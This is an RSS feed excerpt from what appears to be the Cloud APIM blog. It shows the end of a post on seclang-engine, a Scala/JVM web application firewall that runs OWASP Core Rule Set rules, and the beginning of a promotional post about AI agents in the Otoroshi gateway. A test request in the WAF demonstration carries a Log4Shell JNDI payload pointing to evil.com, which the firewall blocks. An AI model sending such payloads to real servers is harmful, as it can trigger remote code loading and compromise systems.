&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |SecRule REQUEST_HEADERS:User-Agent &quot;@pm firefox&quot; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |    &quot;id:1001,\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |    phase:1,\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |    block,\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |    t:none,t:lowercase,\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |    msg:&apos;Firefox browser blocked&apos;,\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |    status:403,\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |    severity:&apos;CRITICAL&apos;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |SecRule REQUEST_URI &quot;@contains /admin&quot; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |    &quot;id:1002,\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |    phase:1,\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |    block,\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |    t:none,t:lowercase,\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |    msg:&apos;Admin access denied&apos;,\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |    status:403&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |SecRuleEngine On&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    |&quot;&quot;&quot;&lt;/span&gt;&lt;span&gt;.stripMargin&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  // 2. Parse the rules into an AST&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  val&lt;/span&gt;&lt;span&gt; configuration&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; SecLang&lt;/span&gt;&lt;span&gt;.parse(rules) &lt;/span&gt;&lt;span&gt;match&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    case&lt;/span&gt;&lt;span&gt; Left&lt;/span&gt;&lt;span&gt;(error) &lt;/span&gt;&lt;span&gt;=&gt;&lt;/span&gt;&lt;span&gt; sys.error(&lt;/span&gt;&lt;span&gt;s&lt;/span&gt;&lt;span&gt;&quot;Parse error: &lt;/span&gt;&lt;span&gt;$error&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    case&lt;/span&gt;&lt;span&gt; Right&lt;/span&gt;&lt;span&gt;(config) &lt;/span&gt;&lt;span&gt;=&gt;&lt;/span&gt;&lt;span&gt; config&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  // 3. Compile the AST into an executable program&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  val&lt;/span&gt;&lt;span&gt; program&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; SecLang&lt;/span&gt;&lt;span&gt;.compile(configuration)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  // 4. Create the engine&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  val&lt;/span&gt;&lt;span&gt; engine&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; SecLang&lt;/span&gt;&lt;span&gt;.engine(program)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  // 5. Build a request context to evaluate&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  val&lt;/span&gt;&lt;span&gt; request&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; RequestContext&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    method &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &quot;GET&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    uri &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &quot;/api/users&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    headers &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; Headers&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;Map&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      &quot;User-Agent&quot;&lt;/span&gt;&lt;span&gt; -&gt;&lt;/span&gt;&lt;span&gt; List&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;Mozilla/5.0 Chrome/120.0&quot;&lt;/span&gt;&lt;span&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      &quot;Host&quot;&lt;/span&gt;&lt;span&gt; -&gt;&lt;/span&gt;&lt;span&gt; List&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;example.com&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    )),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    query &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; Map&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;page&quot;&lt;/span&gt;&lt;span&gt; -&gt;&lt;/span&gt;&lt;span&gt; List&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;1&quot;&lt;/span&gt;&lt;span&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  // 6. Evaluate the request against phases 1 and 2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  val&lt;/span&gt;&lt;span&gt; result&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; engine.evaluate(request, phases &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; List&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  // 7. Check the result&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  result.disposition &lt;/span&gt;&lt;span&gt;match&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    case&lt;/span&gt;&lt;span&gt; Disposition&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;Continue&lt;/span&gt;&lt;span&gt; =&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      println(&lt;/span&gt;&lt;span&gt;&quot;Request allowed&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    case&lt;/span&gt;&lt;span&gt; Disposition&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;Block&lt;/span&gt;&lt;span&gt;(status, msg, ruleId) &lt;/span&gt;&lt;span&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      println(&lt;/span&gt;&lt;span&gt;s&lt;/span&gt;&lt;span&gt;&quot;Request blocked! Status: &lt;/span&gt;&lt;span&gt;$status&lt;/span&gt;&lt;span&gt;, Rule: &lt;/span&gt;&lt;span&gt;$ruleId&lt;/span&gt;&lt;span&gt;, Message: &lt;/span&gt;&lt;span&gt;$msg&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This example:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Defines two simple rules: one blocking Firefox browsers and one blocking &lt;code&gt;/admin&lt;/code&gt; access&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Parses the rules using ANTLR under the hood&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Compiles them into an optimized program&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Creates an engine instance (thread-safe, can be reused)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Evaluates a sample request and checks if it should be blocked&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For production use with the OWASP CoreRuleSet, you can use the factory pattern with presets:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;scala&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; com&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;cloud&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;apim&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;seclang&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;model&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;_&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; com&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;cloud&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;apim&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;seclang&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;scaladsl&lt;/span&gt;&lt;span&gt;.{&lt;/span&gt;&lt;span&gt;SecLang&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;SecLangPresets&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;// Create a factory with CRS preset&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;val&lt;/span&gt;&lt;span&gt; factory&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; SecLang&lt;/span&gt;&lt;span&gt;.factory(&lt;/span&gt;&lt;span&gt;Map&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;crs&quot;&lt;/span&gt;&lt;span&gt; -&gt;&lt;/span&gt;&lt;span&gt; SecLangPresets&lt;/span&gt;&lt;span&gt;.coreruleset))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;// Get an engine with CRS rules + custom exclusions&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;val&lt;/span&gt;&lt;span&gt; engine&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; factory.engine(&lt;/span&gt;&lt;span&gt;List&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;@import_preset crs&quot;&lt;/span&gt;&lt;span&gt;,           &lt;/span&gt;&lt;span&gt;// Import all CRS rules&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;SecRuleRemoveById 942100&quot;&lt;/span&gt;&lt;span&gt;,     &lt;/span&gt;&lt;span&gt;// Disable a specific rule&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;SecRuleEngine On&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;// The factory caches compiled programs, so subsequent calls&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;// with the same rules return the cached engine instantly&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;// Test with a malicious request (Log4Shell attack)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;val&lt;/span&gt;&lt;span&gt; maliciousRequest&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; RequestContext&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  method &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &quot;GET&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  uri &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &quot;/api/search&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  headers &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; Headers&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;Map&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;User-Agent&quot;&lt;/span&gt;&lt;span&gt; -&gt;&lt;/span&gt;&lt;span&gt; List&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;Mozilla/5.0&quot;&lt;/span&gt;&lt;span&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;Host&quot;&lt;/span&gt;&lt;span&gt; -&gt;&lt;/span&gt;&lt;span&gt; List&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;example.com&quot;&lt;/span&gt;&lt;span&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;X-Api-Key&quot;&lt;/span&gt;&lt;span&gt; -&gt;&lt;/span&gt;&lt;span&gt; List&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;${jndi:ldap://evil.com/exploit}&quot;&lt;/span&gt;&lt;span&gt;)  &lt;/span&gt;&lt;span&gt;// Log4Shell payload&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  ))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;val&lt;/span&gt;&lt;span&gt; result&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; engine.evaluate(maliciousRequest, phases &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; List&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;result.disposition &lt;/span&gt;&lt;span&gt;match&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  case&lt;/span&gt;&lt;span&gt; Disposition&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;Continue&lt;/span&gt;&lt;span&gt; =&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    println(&lt;/span&gt;&lt;span&gt;&quot;Request allowed&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  case&lt;/span&gt;&lt;span&gt; Disposition&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;Block&lt;/span&gt;&lt;span&gt;(status, msg, ruleId) &lt;/span&gt;&lt;span&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    println(&lt;/span&gt;&lt;span&gt;s&lt;/span&gt;&lt;span&gt;&quot;Attack blocked! Rule &lt;/span&gt;&lt;span&gt;$ruleId&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;$msg&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    // Output: Attack blocked! Rule 944150: Potential Remote Command Execution: Log4j / Log4shell&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;open-source&quot;&gt;Open Source&lt;/h2&gt;
&lt;p&gt;All of this work is open source:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/cloud-apim/seclang-engine&quot;&gt;&lt;strong&gt;seclang-engine&lt;/strong&gt;&lt;/a&gt;: The core SecLang parser, compiler, and runtime&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/cloud-apim/seclang-engine-coreruleset&quot;&gt;&lt;strong&gt;seclang-engine-coreruleset&lt;/strong&gt;&lt;/a&gt;: CRS bundle wrapper&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/cloud-apim/libinjection-jvm&quot;&gt;&lt;strong&gt;libinjection-jvm&lt;/strong&gt;&lt;/a&gt;: Java port of libinjection&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/cloud-apim/otoroshi-waf-extension&quot;&gt;&lt;strong&gt;otoroshi-waf-extension&lt;/strong&gt;&lt;/a&gt;: Otoroshi integration&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Since seclang-engine is a standalone library with both Java and Scala APIs, you can easily integrate it into any JVM project—whether it’s a Jakarta EE application, Spring Boot, Quarkus, or Play Framework. Just add the dependency and start protecting your endpoints.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;What started as a Christmas vacation project turned into a comprehensive WAF implementation. The journey taught me:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Don’t be intimidated by complexity&lt;/strong&gt;: That ANTLR grammar turned an “impossible” parser into a weekend project.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Test suites are gold&lt;/strong&gt;: The CRS tests were invaluable for finding edge cases I never would have imagined.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;AI assistance is real&lt;/strong&gt;: Claude Code helped me tackle the tedious parts (visitor methods, libinjection port) so I could focus on architecture.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Multi-tenancy needs design&lt;/strong&gt;: Caching and composition aren’t afterthoughts—they need to be baked in from the start.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The new WAF is now running in production on &lt;a href=&quot;https://www.cloud-apim.com&quot;&gt;Cloud APIM&lt;/a&gt; managed Otoroshi instances and on Otoroshi deployments on &lt;a href=&quot;https://www.clever.cloud/&quot;&gt;Clever Cloud&lt;/a&gt;. It’s faster, more memory-efficient, and far more flexible than our WASM-based solution.&lt;/p&gt;
&lt;p&gt;If you’re interested in using &lt;a href=&quot;https://github.com/cloud-apim/seclang-engine&quot;&gt;seclang-engine&lt;/a&gt; in your own JVM projects, check out the repositories above. And if you have questions or want to contribute, feel free to open issues or PRs!&lt;/p&gt;</content:encoded><dc:creator>Mathieu Ancelin</dc:creator><dc:language>en</dc:language><category>CRS</category><category>CoreRuleSet</category><category>SecLang</category><category>Scala</category><category>JVM</category><category>WAF</category><category>OWASP</category><category>Web application firewall</category><category>Security</category><category>ModSecurity</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.Bez9UhIt_LvSjj.jpg" length="0" type="image/jpeg"/></item><item><title>AI Agents Are Coming to Otoroshi</title><link>https://blog.cloud-apim.com/ai-agents-are-coming-to-otoroshi</link><guid isPermaLink="true">https://blog.cloud-apim.com/ai-agents-are-coming-to-otoroshi</guid><description>Discover how Otoroshi is revolutionizing AI with intelligent agents and visual workflows to automate and orchestrate your processes.</description><pubDate>Thu, 16 Oct 2025 14:13:16 GMT</pubDate><content:encoded>&lt;h3 id=&quot;the-world-of-ai-agents&quot;&gt;The world of AI agents&lt;/h3&gt;
&lt;p&gt;For the past few months, everyone has been talking about &lt;strong&gt;AI agents&lt;/strong&gt;, and putting them in everything! A kind of do-it-all machine, a super intelligence connected to all our everyday tools.&lt;/p&gt;
&lt;p&gt;These are intelligences that can not only understand and respond, but also &lt;strong&gt;act&lt;/strong&gt;.&lt;br&gt;
AIs that can make decisions, call tools, carry out tasks and collaborate with one another.&lt;/p&gt;
&lt;p&gt;But one question remained: &lt;strong&gt;How do we create them, govern them and connect them to our real-world systems?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;That is exactly what &lt;a href=&quot;https://www.otoroshi.io/&quot;&gt;&lt;strong&gt;Otoroshi&lt;/strong&gt;&lt;/a&gt;, the &lt;a href=&quot;https://github.com/MAIF/otoroshi&quot;&gt;open source&lt;/a&gt; API gateway, now brings with its &lt;strong&gt;new interface dedicated to&lt;/strong&gt; &lt;a href=&quot;https://maif.github.io/otoroshi/manual/topics/workflows.html&quot;&gt;&lt;strong&gt;workflows&lt;/strong&gt;&lt;/a&gt; &lt;strong&gt;and AI agents&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;a-gateway-opening-up-to-new-uses&quot;&gt;A gateway opening up to new uses&lt;/h3&gt;
&lt;p&gt;Otoroshi was already known as an &lt;strong&gt;orchestra conductor for APIs&lt;/strong&gt;: a central point that secures, monitors and optimizes exchanges between services.&lt;br&gt;
But with the arrival of its &lt;a href=&quot;https://cloud-apim.github.io/otoroshi-llm-extension/&quot;&gt;&lt;strong&gt;LLM extension&lt;/strong&gt;&lt;/a&gt; &lt;strong&gt;and its visual workflow interface&lt;/strong&gt;, Otoroshi is taking a major step forward.&lt;/p&gt;
&lt;p&gt;It no longer just passes requests through.&lt;br&gt;
It &lt;strong&gt;thinks&lt;/strong&gt;, &lt;strong&gt;decides&lt;/strong&gt;, &lt;strong&gt;acts&lt;/strong&gt;, and lets anyone &lt;strong&gt;design their own AI agents&lt;/strong&gt; without writing a single line of code.&lt;/p&gt;
&lt;h3 id=&quot;build-your-own-ai-workflows&quot;&gt;Build your own AI workflows&lt;/h3&gt;
&lt;p&gt;With the new visual design interface, Otoroshi now lets you &lt;strong&gt;draw intelligent workflows&lt;/strong&gt; in just a few clicks.&lt;/p&gt;
&lt;p&gt;Imagine a &lt;strong&gt;canvas&lt;/strong&gt; on which you can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Link &lt;strong&gt;logic blocks&lt;/strong&gt;: decisions, conditions, loops, actions.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Connect &lt;strong&gt;advanced functions&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;calls to large language models (LLMs),&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;HTTP calls to your APIs,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;external tools,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;internal functions (calculations, filters, conversions, etc.).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add multimodal capabilities: &lt;strong&gt;voice, text, image, video&lt;/strong&gt;, and more.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;And above all, give these workflows &lt;strong&gt;adaptive intelligence&lt;/strong&gt; thanks to built-in AI agents.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It’s a new way to create: no longer by writing code, but by &lt;strong&gt;composing intelligent logic&lt;/strong&gt;, visually.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;ai-agents-made-by-otoroshi-llm&quot;&gt;AI agents made by Otoroshi LLM&lt;/h3&gt;
&lt;p&gt;An &lt;strong&gt;AI agent&lt;/strong&gt; in Otoroshi is more than a &lt;strong&gt;chatbot&lt;/strong&gt;.&lt;br&gt;
It’s an &lt;strong&gt;entity&lt;/strong&gt; that can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Receive an intent&lt;/strong&gt; (through text, voice, an event, an API).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Analyze the context&lt;/strong&gt; using its memory and its intelligence models.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Choose an action&lt;/strong&gt;: call a service, generate an image, trigger a scenario.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Learn and adapt&lt;/strong&gt; as interactions go on.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Follow your business rules&lt;/strong&gt; and your security guardrails.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And above all, these agents can be &lt;strong&gt;orchestrated&lt;/strong&gt; in a workflow:&lt;br&gt;
several agents that collaborate, hand tasks off to one another, correct or complement each other.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;🧩 You can literally build an ecosystem of AI agents connected to your enterprise systems.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;an-interface-designed-for-creativity-and-control&quot;&gt;An interface designed for creativity and control&lt;/h3&gt;
&lt;p&gt;Otoroshi now offers a &lt;strong&gt;complete user interface&lt;/strong&gt; to manage:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;🔹 &lt;strong&gt;AI Workflows&lt;/strong&gt; — visual design, triggers, logic, conditions.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🔹 &lt;strong&gt;AI Agents&lt;/strong&gt; — personality, role, memory, access, allowed tools.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
